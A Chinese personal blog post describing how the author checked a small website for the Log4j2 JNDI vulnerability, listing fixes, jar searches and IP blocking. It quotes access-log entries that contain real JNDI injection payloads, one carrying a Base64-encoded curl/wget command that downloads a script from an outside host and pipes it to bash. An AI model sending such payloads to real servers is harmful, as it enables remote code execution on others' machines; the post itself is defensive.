个人网站Log4j2漏洞风险排查

世纪漏洞。

Posted by YSY on January 12, 2022

前言

Log4j2漏洞事件已经过去了几个月,影响面可以说是非常的广。本质上还是权限和代码注入问题,这里就不作赘述,和SQL注入在原理和形式上都异曲同工。

我个人没太明白还是,如此流行的开源库,竟然开发者和使用者这么久都没发现这个巨大漏洞(可能早有人发现但并未公布),而且作为一个日志记录工具,权限未免太高。

修复

从互联网上可以查到最新的修复建议:

  1. 升级到最新版本:

    目前官方已推出最新Apache log4j 2.15.0版本,可从地址中下载升级:https://logging.apache.org/log4j/2.x/download.html

  2. 缓解措施:

(1)添加jvm启动参数 -Dlog4j2.formatMsgNoLookups=true

(2)在应用程序的classpath下添加log4j2.component.properties配置文件文件,文件内容:log4j2.formatMsgNoLookups=True

(3)移除log4j-core包中JndiLookup 类文件,并重启服务

具体命令:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

(4)建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本

(5)限制受影响应用对外访问互联网

(6)禁用JNDI。如在spring.properties里添加spring.jndi.ignore=true

(7)采用其他防护措施,更新WAF、RASP规则等

排查

其实在引起轩然大波之前,并没有多少人去尝试利用这个漏洞攻击别人的服务器,反倒是现在,一些阿猫阿狗也开始作妖。

我们直接查询HTTP服务的access日志,就能知道是不是有人试图攻击你的小破站了:

cat access.log | grep jndi

好家伙,非常多,这里只列几个来示例:

195.54.160.149 - - [24/Dec/2021:14:22:15 +0800] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MCl8YmFzaA==} HTTP/1.1" 200 1307
221.199.187.100 - - [24/Dec/2021:21:01:54 +0800] "GET /${jndi:ldap://121.140.99.236:1389/Exploit} HTTP/1.1" 404 196
195.54.160.149 - - [25/Dec/2021:11:07:24 +0800] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MCl8YmFzaA==} HTTP/1.1" 200 1307
170.210.45.163 - - [26/Dec/2021:08:32:29 +0800] "GET /${jndi:ldap://121.140.99.236:1389/Exploit} HTTP/1.1" 404 196
195.54.160.149 - - [27/Dec/2021:03:06:53 +0800] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xLjE0LjY3LjEzODo4MCl8YmFzaA==} HTTP/1.1" 200 1307
175.6.210.66 - - [31/Dec/2021:00:53:40 +0800] "GET /${jndi:ldap://121.140.99.236:1389/Exploit} HTTP/1.1" 404 196
78.31.67.151 - - [09/Jan/2022:11:12:08 +0800] "POST /register?username=$%7Bjndi:ldap://78.31.67.151:1389/nuzomt%7D HTTP/1.1" 404 196
78.31.67.151 - - [09/Jan/2022:11:12:09 +0800] "GET /register?id=$%7Bjndi:ldap://78.31.67.151:1389/nuzomt%7D HTTP/1.1" 404 196
78.31.67.151 - - [09/Jan/2022:11:12:27 +0800] "POST /register?username=$%7Bjndi:ldap://78.31.67.151:1389/khslv8%7D HTTP/1.1" 404 196
78.31.67.151 - - [09/Jan/2022:11:12:28 +0800] "GET /register?id=$%7Bjndi:ldap://78.31.67.151:1389/khslv8%7D HTTP/1.1" 404 196

天南海北的IP地址,我真是谢谢你们光顾啊。

由于我的服务器并没有运行什么复杂的Web应用,所以问题应该不大,不然我估计连ssh都登不进去了。

  1. 不过,我们还是要排查一下现状,先检查项目依赖库有没有log4j2,版本是否更新到了修复版本。我的项目都是个人开发的小玩意,所以没用到这个玩意。
  2. 到关键目录中检索jar包,尤其是基于Java开发的,比如Apache HTTP目录、Tomcat目录以及一些自定义的正在运行的Java程序:
# 大概看下有哪些进程
ps -ef | grep java
# 到关键目录下直接find库包,一旦发现散落的jar,要么更新要么删里面的漏洞class
find . -name "log4j*"
  1. 通过上述的access访问日志,看看哪些疯子在高频攻击,直接把IP或者IP段给ban了,让他搁这儿装逼:
# 如果用的是比较老的系统,比如Ubuntu 16.04之类的,多半还是iptables
iptables -I INPUT -s 78.31.67.151 -j DROP

# 如果是用的防火墙,比如CentOS 7上面
firewall-cmd --zone=public --add-rich-rule 'rule family="ipv4" source address="78.31.67.151" reject' --permanent
firewall-cmd --reload
  1. 如果你还是不安心,先关机吧哈哈哈,断网才是终极大法,反正是个人网站。避避风头,把修复措施研究透彻,保证漏洞完全无法复现,再开机。